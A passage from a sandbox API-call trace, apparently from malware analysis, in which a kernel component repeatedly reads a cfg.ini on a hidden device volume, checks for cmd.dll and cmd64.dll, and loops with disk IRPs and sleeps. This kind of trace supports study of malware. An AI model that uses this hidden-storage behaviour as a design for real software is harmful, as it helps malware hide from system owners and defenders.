KeLeaveCriticalRegion () [0121.513] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.513] KeEnterCriticalRegion () [0121.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.513] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.513] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.513] KeLeaveCriticalRegion () [0121.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.513] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.513] KeEnterCriticalRegion () [0121.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.513] ExFreePoolWithTag (P=0xfffffa8003bc5e50, Tag=0x0) [0121.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.513] KeLeaveCriticalRegion () [0121.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.513] ReleaseMutex (hMutex=0xf0) returned 1 [0121.513] Sleep (dwMilliseconds=0x124f80) [0121.527] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.527] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.527] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.527] KeEnterCriticalRegion () [0121.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.527] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.527] IdePortDispatch () returned 0x103 [0121.527] KeWaitForMutexObject () returned 0x0 [0121.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.527] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.527] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.527] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.527] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.527] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.527] KeLeaveCriticalRegion () [0121.527] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.527] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.527] KeEnterCriticalRegion () [0121.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.527] KeLeaveCriticalRegion () [0121.527] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.528] KeEnterCriticalRegion () [0121.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.528] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.528] IdePortDispatch () returned 0x103 [0121.528] KeWaitForMutexObject () returned 0x0 [0121.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.528] KeLeaveCriticalRegion () [0121.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.528] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.528] KeEnterCriticalRegion () [0121.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b48000 [0121.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.528] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.528] IdePortDispatch () returned 0x103 [0121.528] KeWaitForMutexObject () returned 0x0 [0121.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.528] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.528] IdePortDispatch () returned 0x103 [0121.529] KeWaitForMutexObject () returned 0x0 [0121.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] KeLeaveCriticalRegion () [0121.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.529] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.529] KeEnterCriticalRegion () [0121.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] KeLeaveCriticalRegion () [0121.529] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.529] KeEnterCriticalRegion () [0121.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.529] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] KeLeaveCriticalRegion () [0121.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.529] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.529] KeEnterCriticalRegion () [0121.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.529] KeLeaveCriticalRegion () [0121.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.530] ReleaseMutex (hMutex=0xf0) returned 1 [0121.530] Sleep (dwMilliseconds=0x124f80) [0121.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.544] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.544] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.544] KeEnterCriticalRegion () [0121.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.545] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.545] IdePortDispatch () returned 0x103 [0121.545] KeWaitForMutexObject () returned 0x0 [0121.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.545] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.545] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.545] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.545] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.545] KeLeaveCriticalRegion () [0121.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.545] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.545] KeEnterCriticalRegion () [0121.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.545] KeLeaveCriticalRegion () [0121.545] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.545] KeEnterCriticalRegion () [0121.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.545] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.545] IdePortDispatch () returned 0x103 [0121.545] KeWaitForMutexObject () returned 0x0 [0121.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.545] KeLeaveCriticalRegion () [0121.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.546] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.546] KeEnterCriticalRegion () [0121.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4d000 [0121.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.546] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.546] IdePortDispatch () returned 0x103 [0121.546] KeWaitForMutexObject () returned 0x0 [0121.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.546] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.546] IdePortDispatch () returned 0x103 [0121.546] KeWaitForMutexObject () returned 0x0 [0121.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.546] KeLeaveCriticalRegion () [0121.546] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.547] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.547] KeEnterCriticalRegion () [0121.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.547] KeLeaveCriticalRegion () [0121.547] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.547] KeEnterCriticalRegion () [0121.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.547] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.547] KeLeaveCriticalRegion () [0121.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.547] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.547] KeEnterCriticalRegion () [0121.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.547] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.548] KeLeaveCriticalRegion () [0121.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.548] ReleaseMutex (hMutex=0xf0) returned 1 [0121.548] Sleep (dwMilliseconds=0x124f80) [0121.561] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.561] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.562] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.562] KeEnterCriticalRegion () [0121.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.562] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.562] IdePortDispatch () returned 0x103 [0121.562] KeWaitForMutexObject () returned 0x0 [0121.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6f00 [0121.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.562] KeLeaveCriticalRegion () [0121.562] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.562] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.562] KeEnterCriticalRegion () [0121.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.563] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.563] KeLeaveCriticalRegion () [0121.563] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.563] KeEnterCriticalRegion () [0121.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.563] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.563] IdePortDispatch () returned 0x103 [0121.563] KeWaitForMutexObject () returned 0x0 [0121.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.563] KeLeaveCriticalRegion () [0121.563] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.563] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.563] KeEnterCriticalRegion () [0121.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b52000 [0121.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.563] IdePortDispatch () returned 0x103 [0121.565] KeWaitForMutexObject () returned 0x0 [0121.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.565] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.565] IdePortDispatch () returned 0x103 [0121.565] KeWaitForMutexObject () returned 0x0 [0121.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.566] KeLeaveCriticalRegion () [0121.566] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.566] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.566] KeEnterCriticalRegion () [0121.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] KeLeaveCriticalRegion () [0121.567] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.567] KeEnterCriticalRegion () [0121.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] KeLeaveCriticalRegion () [0121.567] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.567] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.567] KeEnterCriticalRegion () [0121.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] ExFreePoolWithTag (P=0xfffffa8003bd6f00, Tag=0x0) [0121.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] KeLeaveCriticalRegion () [0121.567] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.567] ReleaseMutex (hMutex=0xf0) returned 1 [0121.567] Sleep (dwMilliseconds=0x124f80) [0121.580] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.580] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.581] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.581] KeEnterCriticalRegion () [0121.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.581] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.581] IdePortDispatch () returned 0x103 [0121.581] KeWaitForMutexObject () returned 0x0 [0121.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 